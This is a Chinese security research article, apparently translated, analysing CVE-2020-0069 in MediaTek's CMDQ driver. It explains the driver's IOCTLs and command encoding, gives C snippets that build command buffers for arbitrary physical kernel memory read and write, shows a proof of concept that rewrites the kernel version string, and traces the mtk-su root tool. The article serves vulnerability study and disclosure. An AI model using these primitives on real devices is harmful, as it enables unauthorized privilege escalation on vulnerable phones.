CVE-2020-0069:联发科最稳定的 Rootkit 解构

 

在 2020 年的 3 月份,Google 修复了一个影响许多联发科设备的高危漏洞。联发科自 2019 年 4 月就知道了这个漏洞,之后在野被利用!这篇文章中,我们将提供一些关于这个漏洞的细节,并了解如何使用它来实现内核内存的读写。

 

概述

在 2020 年的 3 月份,Google 修复了一个影响许多联发科设备的高危漏洞。联发科自 2019 年 4 月份就知道了这个漏洞 ( 修复前 10 个月 ),该漏洞允许本地攻击者不需要特权即可读写系统内存,实现提权。甚至出现了一个名为 mtk-su 的漏洞利用程序,通过它可以获得很多存在漏洞的设备的 root 权限,这在 2019 年就被开发完成。在撰写本文时,关于这个漏洞的信息很少。所以我们决定自己去研究看看。

 

关于 CVE-2020-0069

根据联发科公布的信息,这个漏洞允许本地攻击者到达任意的物理地址实现内存读写,并能进一步实现提权。受影响的模块是联发科的命令队列驱动程序( Command Queue driver ) 或者 CMDQ 驱动。在驱动上使用 IOCTL ,这令攻击者有可能分配一个 DMA ( Direct Memory Access ) 缓冲区,并且向 DMA 硬件发送命令为了实现物理地址的读写。

提醒一下,Direct Memory Access 是允许专用的硬件可以直接与主内存( RAM ) 发送和接收数据的一种特性。其目的是为了通过允许大量的内存访问而不占用太多的 CPU 来加速系统。这个驱动似乎允许从用户态与 DMA 控制器通信,以完成媒体和显示相关的任务。

至少有超过 10 个 SoC( System on Chip ) 受到此漏洞的影响,甚至有更多。我们已经能够在小米的 红米6a 设备上利用它 ( 使用联发科的 MT6762M SoC )。

 

CMDQ 驱动程序

在网络上有此驱动的很多版本。在本次研究中,我们主要关注小米的红米6a 的开源内核。此驱动程序的实现可以在 drivers/misc/mediatek/cmdq 找到。相关的驱动程序可以是 /dev/mtk-cmdq 或 /proc/mtk-cmdq 具体取决于 SoC ,并可用于任何应用程序,无需授权 ( 至少在存在漏洞的设备上是这样的 )。

照之前所说,此驱动程序可以被用户( 从用户态 )通过 IOCTL 系统调用控制。

#define CMDQ_IOCTL_EXEC_COMMAND _IOW(CMDQ_IOCTL_MAGIC_NUMBER, 3, \
    struct cmdqCommandStruct)
#define CMDQ_IOCTL_QUERY_USAGE  _IOW(CMDQ_IOCTL_MAGIC_NUMBER, 4, \
    struct cmdqUsageInfoStruct)

/*  */
/* Async operations */
/*  */

#define CMDQ_IOCTL_ASYNC_JOB_EXEC _IOW(CMDQ_IOCTL_MAGIC_NUMBER, 5, \
    struct cmdqJobStruct)
#define CMDQ_IOCTL_ASYNC_JOB_WAIT_AND_CLOSE _IOR(CMDQ_IOCTL_MAGIC_NUMBER, 6, \
    struct cmdqJobResultStruct)

#define CMDQ_IOCTL_ALLOC_WRITE_ADDRESS _IOW(CMDQ_IOCTL_MAGIC_NUMBER, 7, \
    struct cmdqWriteAddressStruct)
#define CMDQ_IOCTL_FREE_WRITE_ADDRESS _IOW(CMDQ_IOCTL_MAGIC_NUMBER, 8, \
    struct cmdqWriteAddressStruct)
#define CMDQ_IOCTL_READ_ADDRESS_VALUE _IOW(CMDQ_IOCTL_MAGIC_NUMBER, 9, \
    struct cmdqReadAddressStruct)

在所有可用的操作中,我们关注以下几个 :

  • CMDQ_IOCTL_ALLOC_WRITE_ADDRESS 用于分配 DMA 缓冲区,并且接收一个结构体 cmdqWriteAddressStruct 作为参数
  • CMDQ_IOCTL_FREE_WRITE_ADDRESS 用于释放之前分配的 DMA 缓冲区
  • CMDQ_IOCTL_EXEC_COMMAND 允许发送一个命令缓冲区给 DMA 控制器,并接收结构体 cmdqCommandStruct 作为参数
  • CMDQ_IOCTL_READ_ADDRESS_VALUE 用于读取 DMA 缓冲区的值

 

分配一个 DMA 缓冲区

当调用 CMDQ_IOCTL_ALLOC_WRITE_ADDRESS ,我们提供一个结构体 cmdqWriteAddressStruct ,在 count 字段中包含了请求缓冲区的大小。在字段 startPA 上存储着我们接收到的物理地址,我们无法直接在用户态访问这个地址,为了访问这个内存区域,我们需要使用 CMDQ_IOCTL_EXEC_COMMAND。

释放 DMA 的缓冲区是可能的,我们需要调用 CMDQ_IOCTL_FREE_WRITE_ADDRESS 并且传递一个之前分配时传递的结构体 cmdqWriteAddressStruct 作为参数

 

执行命令

CMDQ_IOCTL_EXEC_COMMAND 接收一个结构体 cmdqCommandStruct 作为参数。

struct cmdqCommandStruct {
 [...]
 /* [IN] pointer to instruction buffer. Use 64-bit for compatibility. */
 /* This must point to an 64-bit aligned u32 array */
 cmdqU32Ptr_t pVABase;
 /* [IN] size of instruction buffer, in bytes. */
 u32 blockSize;
 /* [IN] request to read register values at the end of command */
 struct cmdqReadRegStruct regRequest;
 /* [OUT] register values of regRequest */
 struct cmdqRegValueStruct regValue;
 /* [IN/OUT] physical addresses to read value */
 struct cmdqReadAddressStruct readAddress;
 [...]

按照之前所说的,这个 IOCTL 系统调用允许发送命令给 DMA 控制器执行。这个命令是存放在用户态的缓冲区的,其地址需要放在字段 pVABase 中,其大小需要放在 blockSize 字段中

在命令结构体中的字段 readAddress 被用来在执行命令后保存从 DMA 缓冲区读取的值。字段 readAddress.dmaAddresses 指向一个用户态缓冲区,这里包含了要读取的 DMA 缓冲区的地址。它的大小由字段 readAddress.count 决定。所有的地址都会被内核读取,并且读取的值将会被存放在由字段 readAddress.values 指向的用户态缓冲区。

读取 DMA 缓冲区同样也可以通过使用 IOCTL 命令 CMDQ_IOCTL_READ_ADDRESS_VALUE 实现。

 

命令描述

一个命令由两个 32 位的字组成,并且由一个命令代码标识

enum cmdq_code {
 CMDQ_CODE_READ  = 0x01,
 CMDQ_CODE_MASK = 0x02,
 CMDQ_CODE_MOVE = 0x02,
 CMDQ_CODE_WRITE = 0x04,
 CMDQ_CODE_POLL  = 0x08,
 CMDQ_CODE_JUMP = 0x10,
 CMDQ_CODE_WFE = 0x20,
 CMDQ_CODE_EOC = 0x40,
 [...]

下面有一些命令的描述是我们将要去使用的。

CMDQ_CODE_WRITE 和 CMDQ_CODE_READ

write 命令用于将 data 寄存器中的值写入到 address 寄存器所存放的地址中。read 命令读取 address 寄存器指向的地址的内容,并将结果存放在 data 寄存器中。

根据选项位 ( 图中 TYPE A 和 TYPE B ),可以从 REG NUMBER 字段中的名为 subsysID 的值和 value 字段中的偏移量计算地址。subsysID 的值将被内核 DTS 的实际物理地址替代。

CMDQ_CODE_MOVE

这个命令将会允许把一个值 ( 最大 48 bit )传入一个寄存器中。这个值也可以被存放在 data 寄存器或者 address 寄存器,可以是任意数据或者一个地址。这可能是这里最大的问题,因为没有对地址进行检查。

CMDQ_CODE_WFE

WFE 代表的是 Wait For Event and clear ,根据我们的理解,我们可以借助它去阻塞一些寄存器的使用 ( 就像使用互斥锁一样 )。与此命令一起使用的事件标志与我们将在命令缓冲区中使用的一组寄存器相关联。举个例子,对于寄存器 CMDQ_DATA_REG_DEBUG (R7) 和 CMDQ_DATA_REG_DEBUG_DST (P11),必须使用事件 ( 或令牌,源代码中的的称呼 ) CMDQ_SYNC_TOKEN_GPR_SET_4。我们在每个命令缓冲区的开头和结尾使用 WFE 命令。

CMDQ_CODE_EOC

EOC 代表的是 End Of Command,它必须放在每个命令缓冲区的末尾,在 CMDQ_CODE_WFE 命令后面,用于标示命令列表的结尾。看上去它包含了非常多的标志位,但是对于我们的使用而言,我们仅仅需要知道 IRQ 标志位总是需要被设置。

CMDQ_CODE_JUMP

根据源代码的注释,该命令允许使用一个偏移量跳转进命令缓冲区。我们在每个命令缓冲区的末尾使用这个命令,在 CMDQ_CODE_EOC 命令后面,总是在偏移 0x8 处跳转,即之前的命令处。我们的理论是在 DMA 控制器中实现预取机制,这命令将确保 CMDQ_CODE_EOC 命令考虑在内。

 

寄存器

在命令描述中,我们提到了两种类型的寄存器:

  • value 寄存器 ( 从 R0 到 R15 ) 由 32位比特组成
  • address 寄存器 ( 从 P0 到 P7 ) 由 64位比特组成
enum cmdq_gpr_reg {
    /* Value Reg, we use 32-bit */
    /* Address Reg, we use 64-bit */
    /* Note that R0-R15 and P0-P7 actually share same memory */
    /* and R1 cannot be used. */

    CMDQ_DATA_REG_JPEG = 0x00,  /* R0 */
    CMDQ_DATA_REG_JPEG_DST = 0x11,  /* P1 */

    CMDQ_DATA_REG_PQ_COLOR = 0x04,  /* R4 */
    CMDQ_DATA_REG_PQ_COLOR_DST = 0x13,  /* P3 */

    CMDQ_DATA_REG_2D_SHARPNESS_0 = 0x05,    /* R5 */
    CMDQ_DATA_REG_2D_SHARPNESS_0_DST = 0x14,    /* P4 */

    CMDQ_DATA_REG_2D_SHARPNESS_1 = 0x0a,    /* R10 */
    CMDQ_DATA_REG_2D_SHARPNESS_1_DST = 0x16,    /* P6 */

    CMDQ_DATA_REG_DEBUG = 0x0b, /* R11 */
    CMDQ_DATA_REG_DEBUG_DST = 0x17, /* P7 */

 

开始玩转驱动程序

现在我们理解了一点这个驱动程序的工作原理,让我们用它来实现基本的内存读写。

 

写内存

为了在内存中写一个 32 比特的值,我们可以使用以下命令:

  • MOVE 一个 32 比特的值到 value 寄存器
  • MOVE 一个我们想要放数据的位置的地址到 address 寄存器中
  • WRITE value 寄存器中的值到 address 寄存器指向的地址中
// move value into CMDQ_DATA_REG_DEBUG
*(uint32_t*)(command->pVABase + command->blockSize) = value;
*(uint32_t*)(command->pVABase + command->blockSize + 4) = CMDQ_CODE_MOVE << 24 | 1 << 23
                                                | CMDQ_DATA_REG_DEBUG << 16
                                                | (pa_address + offset) >> 0x20;
command->blockSize += 8;

// move pa_address into CMDQ_DATA_REG_DEBUG_DST
*(uint32_t*)(command->pVABase + command->blockSize) = (uint32_t)pa_address;
*(uint32_t*)(command->pVABase + command->blockSize + 4) = CMDQ_CODE_MOVE << 24 | 1 << 23
                                                | CMDQ_DATA_REG_DEBUG_DST << 16
                                                | (pa_address + offset) >> 0x20;
command->blockSize += 8;

//write CMDQ_DATA_REG_DEBUG into CMDQ_DATA_REG_DEBUG_DST
*(uint32_t*)(command->pVABase + command->blockSize) = CMDQ_DATA_REG_DEBUG;
*(uint32_t*)(command->pVABase + command->blockSize + 4) = CMDQ_CODE_WRITE << 24 | 3 << 22
                                                | CMDQ_DATA_REG_DEBUG_DST << 16;
command->blockSize += 8;

 

读内存

在内存中读取一个 32 比特的值可以用四条命令实现:

  • MOVE 需要被读取的地址 ( pa_address ) 到 address 寄存器
  • READ address 寄存器指向的地址并将结果存放在 value 寄存器中
  • MOVE DMA 缓冲区地址 ( dma_address ) 到 address 寄存器
  • WRITE value 寄存器中的值到 address 寄存器指向的地址中

我们需要将这些命令预先放置在一个已经分配好的缓冲区中并将地址写入在结构体 cmdqCommandStruct 中的 pVABase 字段。命令缓冲区的大小必须放在 blockSize 字段中。

// move pa_address into CMDQ_DATA_REG_DEBUG_DST
*(uint32_t*)(command->pVABase + command->blockSize) = (uint32_t)pa_address;
*(uint32_t*)(command->pVABase + command->blockSize + 4) = CMDQ_CODE_MOVE << 24 | 1 << 23
                                                | CMDQ_DATA_REG_DEBUG_DST << 16
                                                | (pa_address + offset) >> 0x20;
command->blockSize += 8;

// read value at CMDQ_DATA_REG_DEBUG_DST into CMDQ_DATA_REG_DEBUG
*(uint32_t*)(command->pVABase + command->blockSize) = CMDQ_DATA_REG_DEBUG;
*(uint32_t*)(command->pVABase + command->blockSize + 4) = CMDQ_CODE_READ << 24 | 3 << 22
                                                  | CMDQ_DATA_REG_DEBUG_DST << 16;
command->blockSize += 8;

// move dma_address into CMDQ_DATA_REG_DEBUG_DST
*(uint32_t*)(command->pVABase + command->blockSize) = (uint32_t)dma_address;
*(uint32_t*)(command->pVABase + command->blockSize + 4) = CMDQ_CODE_MOVE << 24 | 1 << 23
                                                | CMDQ_DATA_REG_DEBUG_DST << 16
                                                | (pa_address + offset) >> 0x20;
command->blockSize += 8;

//write CMDQ_DATA_REG_DEBUG into CMDQ_DATA_REG_DEBUG_DST
*(uint32_t*)(command->pVABase + command->blockSize) = CMDQ_DATA_REG_DEBUG;
*(uint32_t*)(command->pVABase + command->blockSize + 4) = CMDQ_CODE_WRITE << 24 | 3 << 22
                                                  | CMDQ_DATA_REG_DEBUG_DST << 16;

然后我们通过填写 readAddress 字段来通知驱动程序我们想要读取 DMA 缓冲区的值

*(uint32_t*)((uint32_t)command->readAddress.dmaAddresses) = dma_address;
command->readAddress.count = offset;

结果将会被写入到之前分配好的 readAddress.values 中

 

简易的 PoC

要标识内核使用的物理地址,一个可以使用的设备是 /proc/iomem ( 需要 root 权限 )

# cat /proc/iomem
[...]
40000000-545fffff : System RAM
  40008000-415fffff : Kernel code
  41800000-41d669b3 : Kernel data
[...]

这些地址是静态配置的,并且在每次引导时保持不变

这个 PoC 由两个程序组成:

  • 一个 C 程序允许基础的内存读写
  • 一个 shell 脚本,调用前面的程序来搜索内核数据内存中第一个出现的 “Linux” 字符串,然后将其替换为 “minix”
$ uname -a
Linux localhost 4.9.77+ #1 SMP PREEMPT Mon Jan 21 18:32:19 WIB 2019 armv7l
$ sh poc.sh
[+] Found Linux string at 0x4180bc00
[+] Found Linux string at 0x4180bea0
[+] Write the patched value
$ uname -a
minix  4.9.77+ #1 SMP PREEMPT Mon Jan 21 18:32:19 WIB 2019 armv7l

非常有用…

我们已经实现了读写内核内存数据。我们可以对任何其他内存区域做同样的事情,绕过系统中设置的权限和保护。所以除了玩一些小把戏,通过这个漏洞修改系统内存中的任何一个部分例如内核代码和数据以便实现提权。

二进制工具 mtk-su 通过该漏洞执行了很多有趣的操作,从而达到 root 权限。在这篇文章中我们不打算详细介绍 mtk-su 使用的这些内核利用方法。然而那些想要了解更多的人,可以看看我们制作的小型跟踪库。它会在启动 mtk-su 时进行预加载,并且它将跟踪 CMDQ 驱动程序的一些 IOCTL 调用,例如发送给驱动程序的命令。

$ mkdir mtk-su
$ LD_PRELOAD=./syscall-hook.so ./mtk-su
alloc failed
alloc count=400 startPA=0x5a733000
uncatched ioctl 40e07803
exec command (num 0) ( blockSize=8040, readAddress.count=0 ) dumped into cmd-0
exec command (num 1) ( blockSize=3e0, readAddress.count=1e ) dumped into cmd-1
[...]
$ cat mtk-su/cmd-1
WFE to_wait=1, wait=1, to_update=1, update=0, event=1da
MOVE 40928000 into reg 17
READ  address reg 17, data reg b
[...]

PoC和跟踪程序库可以在 Quarkslab 的存储库中找到 CVE-2020-0069_poc

 

总结

这个漏洞非常的危险。它基本上允许任何应用程序读写所有的系统内存,包括内核内存。我们可能想要知道为什么这个设备驱动程序需要被每一个应用程序访问,而不仅仅是开放给硬件抽象层( Hardware Abstraction Layer ) 和与媒体相关的进程。它至少需要添加一个额外的步骤来从一个没有特权的应用程序获得 root 权限。

根据 Fire HD 8 Linux 内核的源代码。通过解析来自命令缓冲区的所有命令并验证每个命令以及使用的地址和寄存器,这个问题得到了解决。举个例子,只有来自于 DMA 缓冲区的地址被允许移动到一个 address 寄存器中。

因为我们不是发现这个漏洞的人,我们无法通知给联发科这个问题。但从技术角度来看,没有什么能让这个漏洞需要这么长时间才修复。根据 XDA 开发者的文章,联发科自 2019 年 5 月份进行了修复,但它花了 10 个月的时间才在终端用户设备上广泛修补。感谢有了 Android 许可协议,谷歌已经能够迫使 OEM 更新他们的设备。这是 Android 生态系统中补丁管理复杂性的一个很好的例子,许多参与者 ( SoC 制造商、OEM、ODM ) 必须一起行动,以修复终端用户设备上的漏洞。最后,似乎只有法律方面才能迫使所有这些参与者集成修复程序。

我们现在可能想知道,是否所有嵌入联发科 SoC 并集成 AOSP OS 版本且没有 Android 许可协议的设备都能从这个补丁中受益,而它们的供应商没有法律义务去集成它。

 

引用

[1] https://source.android.com/security/bulletin/2020-03-01

[2] https://forum.xda-developers.com/android/development/amazing-temp-root-mediatek-armv8-t3922213

[3] https://www.xda-developers.com/files/2020/03/CVE-2020-0069.png

[4] https://github.com/MiCode/Xiaomi_Kernel_OpenSource/tree/cactus-p-oss

[5] https://www.amazon.com/gp/help/customer/display.html?tag=androidpolice-20&nodeId=200203720

[6] https://www.xda-developers.com/mediatek-su-rootkit-exploit/

(完)